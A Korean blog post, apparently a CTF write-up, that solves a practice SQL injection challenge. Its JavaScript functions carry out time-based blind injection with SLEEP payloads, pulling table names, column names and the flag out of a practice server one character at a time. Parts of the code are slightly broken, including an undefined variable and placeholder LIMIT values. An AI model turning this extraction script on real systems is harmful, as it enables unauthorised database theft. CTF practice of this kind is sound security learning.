개발/코딩테스트

[CTF | JavaScript] segfault practice - SQL Injection 2

prpn97 2024. 5. 24. 00:48

이번 문제는 그간 배운 방법들을 각각 응용해서 풀었다. 사실 문제가 의도하는 바 대로 푼 것은 아닌 것 같아서, 조금 더 공부해봐야 할 것 같다. 

 

처음에 아무 것도 입력되어있지 않은 상태로 검색하면 아무 것도 나오지 않고, normaltic으로의 검색을 유도하고 있다. 

 

normaltic으로 검색하면 id에 normaltic, info에 my name is normaltic,

doldol 로 검색하면 id에 doldol, info에 Music is my life가 나온다. 

normaltic' or '1 로 입력해보면 아래와 같이 id에는 입력한 값이 그대로 나왔다. 

하지만 doldol' 로 입력하면 id에도 아무것도 나오지 않았다. 

doldol' # 을 입력하면 다시 값이 나왔다. 

 

여기서 유추할 수 있는 바는 다음과 같다. 

- 아이디와 함께 info가 같이 저장되어 있다. 

- 해당 테이블의 첫번째 값은 normaltic이다.

- id에는 입력한 값이 그대로 반환되나, doldol' 를 입력했을 때 아무것도 나오지 않는다는 것은 syntax 에러가 나면 id에도 나오지 않는다는 것이다. 

 

그리고 이전 문제처럼 테이블이름이나 특정 데이터를 반환하고 싶지만 맨 끝에 있는 info에 id에 해당하는 Info일지 다른 데이터일지 확실하지 않아서 어떻게 데이터를 유추할 수 있을지 고민하다가, 브루트포스를 이용해보는 방법을 생각했다. 

 

예상하는 시나리오는 다음과 같다. 테이블, 컬럼, 값을 각각 한글자씩 반복문을 돌려서 해당 글자가 있을 경우 응답을 1초씩 지연시키도록 하여 지연되는 값만 추려내보려 한다. 

 

함수를 다음과 같이 구성했다. 

- findTableName, findColumnName, findValueName

- ctf, ctf2, ctf3

const characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+[]{}|;:',.<>?/";

async function ctf() {
 const tableName = await findTableName()
 
 const columnNames= await ctf2(tableName);

 for(const columnName of columnNames){
  await ctf3(tableName, columnName)
 }
}
ctf();

ctf에서는 findTableName을 반복하여 나오는 글자를 누적시켜 tableName 리턴,

tableName을 ctf2에 넣고 ctf2에서는 columnName에 빈 값이 들어올 때 까지 반복하여 글자를 찾아 누적시켜 columnNames 리턴, 

그리고 columnNames 의 결과인 컬럼 각각을 ctf3에 넣고 돌려서 값이 나오도록 반환했다. 

전역으로 characters를 지정해놓고 반복문으로 돌려가면서 글자를 찾도록 했다. 

 

중요한 것은 각 함수의 sql에  = '${char}', SLEEP(1), 0); #`; 를 통해 1초씩 지연시켜 응답이 지연된 결과만 잘 누적하는 것이다.

 

1. 테이블 이름 찾기

async function findTableName(){
  // 테이블 이름 찾기
  let tableName = ''
  for (let j = 1; ; j++) {
    let found = false;

    for (let i = 0; i < characters.length; i++) {
      const char = characters[i];
      const script = `doldol' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT ? OFFSET ?), ${j}, 1) = '${char}', SLEEP(1), 0); #`;
      const encodedScript = encodeURIComponent(script);

      const url = `http://ctf.segfaulthub.com:7777/sqli_5/search.php?search=${encodedScript}`;

      // 현재 시각 기록
      const startTime = Date.now();

      // 요청 보내기
      const result = await fetch(url);

      // 응답 받은 후의 시각 기록
      const endTime = Date.now();

      // 응답 시간 계산
      const responseTime = endTime - startTime;

      // 응답 시간이 1초 이상인 경우에만 해당 문자를 테이블 이름에 추가
      if (responseTime >= 1000) {
        tableName += column;
        console.log("테이블 이름: ", tableName);
        found = true;
        break;
      }
    }

    // 문자를 찾지 못한 경우 종료
    if (!found) {
      break;
    }
  }
  return tableName
}

 

SQL에서 limit, offset 은 일부러 ? 로 변경해서 붙여넣었다. ? 대신 더 반복문 돌려서 값을 찾아도 되지만, 테스트해보면서 어차피 어떤 테이블에 플래그가 있는지 알 수가 없어서 몇개 찾아서 후보에 두고 그다음인 컬럼, 값 찾는 방향으로 진행했다. 

 

 

 

2. 컬럼 이름 찾기

async function findColumnName(tableName, limit) {
let columnName = "";

for (let j = 1; ; j++) {
  let found = false;

  for (let i = 0; i < characters.length; i++) {
    const char = characters[i];
    const script = `doldol' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='${tableName}' LIMIT ${limit},?), ${j}, 1) = '${char}', SLEEP(1), 0); #`;
    const encodedScript = encodeURIComponent(script);

    const url = `http://ctf.segfaulthub.com:7777/sqli_5/search.php?search=${encodedScript}`;

    // 현재 시각 기록
    const startTime = Date.now();

    // 요청 보내기
    const result = await fetch(url);

    // 응답 받은 후의 시각 기록
    const endTime = Date.now();

    // 응답 시간 계산
    const responseTime = endTime - startTime;

    // 응답 시간이 1초 이상인 경우에만 해당 문자를 컬럼 이름에 추가
    if (responseTime >= 1000) {
      columnName += char;
      console.log("컬럼 이름: ", columnName);
      found = true;
      break;
    }
  }

  // 문자를 찾지 못한 경우 종료
  if (!found) {
    break;
  }
}

return columnName;
}

 

findTableName을 통해 얻은 테이블 이름을 이 함수에 넣고, ctf2에서 반복문으로 지나가는 limit을 각각 넣어 돌려주었다. 여기는 위에 언급한 것처럼 미리 반복문으로 limit을 넣어 돌렸고, offset에는 ?로 가려놨다. 이 자리에 원하는 위치의 컬럼을 알 수가 있다.

 

하다보면 테이블, 컬럼 이름의 리스트를 보면 알겠지만 어느정도 어떤 테이블일지, 어떤 컬럼일지 어렵지 않게 정해두셔서 다행히 다른데서 시간을 끌지는 않았다. 

 

3. 값 찾기

async function findValueName(tableName, columnName) {
let flagValue = "";

for (let j = 1; ; j++) {
  let found = false;

  for (let ascii = 32; ascii < 127; ascii++) {  // ASCII 범위 내의 모든 문자
    const char = String.fromCharCode(ascii);
    const script = `doldol' AND IF(ASCII(SUBSTRING((SELECT ${columnName} FROM ${tableName} LIMIT ? OFFSET ?), ${j}, 1)) = ${ascii}, SLEEP(1), 0); #`;
    const encodedScript = encodeURIComponent(script);

    const url = `http://ctf.segfaulthub.com:7777/sqli_5/search.php?search=${encodedScript}`;

    // 현재 시각 기록
    const startTime = Date.now();

    // 요청 보내기
    const result = await fetch(url);

    // 응답 받은 후의 시각 기록
    const endTime = Date.now();

    // 응답 시간 계산
    const responseTime = endTime - startTime;

    // 응답 시간이 1초 이상인 경우에만 해당 문자를 flag 값에 추가
    if (responseTime >= 1000) {
      flagValue += char;
      console.log("현재 flag 값: ", flagValue);
      found = true;
      break;
    }
  }

  // 문자를 찾지 못한 경우 종료
  if (!found) {
    break;
  }
}

return flagValue;
}

역시 같은 방법으로 값을 도출했고, 처음에는 limit, offset을 반복문을 돌려서 찾다가 후술하는 과정이 있어서 1초씩 지연해서 값을 찾다보니 기다리는게 싫어서 답으로 추정되는 값이 있었기에 각 절을 하드코딩해서 넣느라 반복문은 지웠다. 

 

테이블, 컬럼의 위치를 각각 확인해서 value에 해당하는 값을 찾았고, 여지껏 그래왔듯 정답이라고 확신할법한.. segfault로 시작하는 값이 나왔는데, 틀렸다고 나왔다. 

 

사실 처음에는 segfault까지만 나왔고, 이유를 생각해보니 value에는 특수문자가 들어갈 가능성이 있고, 실제로 답의 형식에 {}가 들어가기 때문에.. ㅋㅋ 문자를 찾을때 특수문자를 같이 넣고 찾도록 했다. 

 

그래서 segfault뒤에 {}를 포함한 답이 나왔는데, 이번에도 틀렸다고 나왔다. 

 

왜그런지 생각해봤는데, 답으로 도출한 결과가 전부 소문자로 나왔고, 대문자가 섞여 있을 가능성을 고려해서 찾아낼 문자열을 전역으로 소문자, 대문자, 특수문자를 지정했지만 특수문자는 특수문자로 보이지만 대문자가 소문자에서 이미 찾아져서 다음 반복문으로 넘어갈 가능성이 있다고 판단했다. 

 

그래서 findValueName에서는 ASCII 범위 내의 모든 문자를 찾도록 하여 대소문자를 구분할 수 있도록 반복문을 돌렸고, 예상대로 답은 대소문자가 섞여 있었고 문제를 풀 수 있었다. 답을 보아하니 내가 푼 방식이 정석은 아닌 것 같긴 한데, 출제 의도대로도 풀어봐야겠다.

728x90